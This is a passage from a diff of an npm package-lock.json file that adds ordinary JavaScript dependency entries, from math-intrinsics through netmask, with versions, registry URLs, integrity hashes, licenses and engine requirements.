"1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", + "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark": "^4.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-from-markdown/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/mdast-util-to-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz", + "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/media-typer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz", + "integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true, + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromark": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", + "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", + "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-destination": "^2.0.0", + "micromark-factory-label": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-title": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-html-tag-name": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-directive": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/micromark-extension-directive/-/micromark-extension-directive-4.0.0.tgz", + "integrity": "sha512-/C2nqVmXXmiseSSuCdItCMho7ybwwop6RrrRPk0KbOHW21JKoCldC+8rFOaundDoRBUWBnJJcxeA/Kvi34WQXg==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "parse-entities": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz", + "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz", + "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-math": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-math/-/micromark-extension-math-3.1.0.tgz", + "integrity": "sha512-lvEqd+fHjATVs+2v/8kg9i5Q0AP2k85H0WUOwpIVvUML8BapsMvh1XAogmQjOCsLpoKRCVQqEkQBB3NhVBcsOg==", + "license": "MIT", + "dependencies": { + "@types/katex": "^0.16.0", + "devlop": "^1.0.0", + "katex": "^0.16.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-destination": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", + "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", + "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", + "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", + "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", + "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", + "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", + "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-chunked": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", + "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz", + "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", + "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-html-tag-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", + "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", + "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", + "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", + "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz", + "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-types": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", + "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/micromatch/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/minimatch": { + "version": "10.2.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", + "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.5" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==", + "license": "MIT" + }, + "node_modules/mnemonist": { + "version": "0.40.3", + "resolved": "https://registry.npmjs.org/mnemonist/-/mnemonist-0.40.3.tgz", + "integrity": "sha512-Vjyr90sJ23CKKH/qPAgUKicw/v6pRoamxIEDFOF8uSgFME7DqPRpHgRTejWVjkdGg5dXj0/NyxZHZ9bcjH+2uQ==", + "license": "MIT", + "dependencies": { + "obliterator": "^2.0.4" + } + }, + "node_modules/module-definition": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/module-definition/-/module-definition-6.0.2.tgz", + "integrity": "sha512-SvAU3lB0+Yjbq55yHY3wkRZBOh+fhU1SnIF3IFbTewv6mtAh7yUT8ACHAJ2mGIJ7tCes2QuCL/cl6m0JSZ/ArA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ast-module-types": "^6.0.1", + "node-source-walk": "^7.0.1" + }, + "bin": { + "module-definition": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/module-details-from-path": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.4.tgz", + "integrity": "sha512-EGWKgxALGMgzvxYF1UyGTy0HXX/2vHLkw6+NvDKW2jypWbHpjQuj4UMcqQWXHERJhVGKikolT06G3bcKe4fi7w==", + "license": "MIT" + }, + "node_modules/module-lookup-amd": { + "version": "9.1.3", + "resolved": "https://registry.npmjs.org/module-lookup-amd/-/module-lookup-amd-9.1.3.tgz", + "integrity": "sha512-Jc3XmOaR9FdfMJSK8+vyLgsCkzm8z2L0NS6vrlRWi12DjS7MY7TMNE7E1yj8yXx837xtMDbKSSgcdXnFlJ2YLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^12.1.0", + "requirejs": "^2.3.8", + "requirejs-config-file": "^4.0.0" + }, + "bin": { + "lookup-amd": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/module-lookup-amd/node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/negotiator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", + "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/netmask": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/netmask/-/netmask-2.1.1.tgz", + "integrity": "sha512-eonl3sLUha+S1GzTPxychyhnUzKyeQkZ7jLjKrBagJgPla13F+uQ71HgpFefyHgqrjEbCPkDArxYsjY8/+gLKA==", + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + 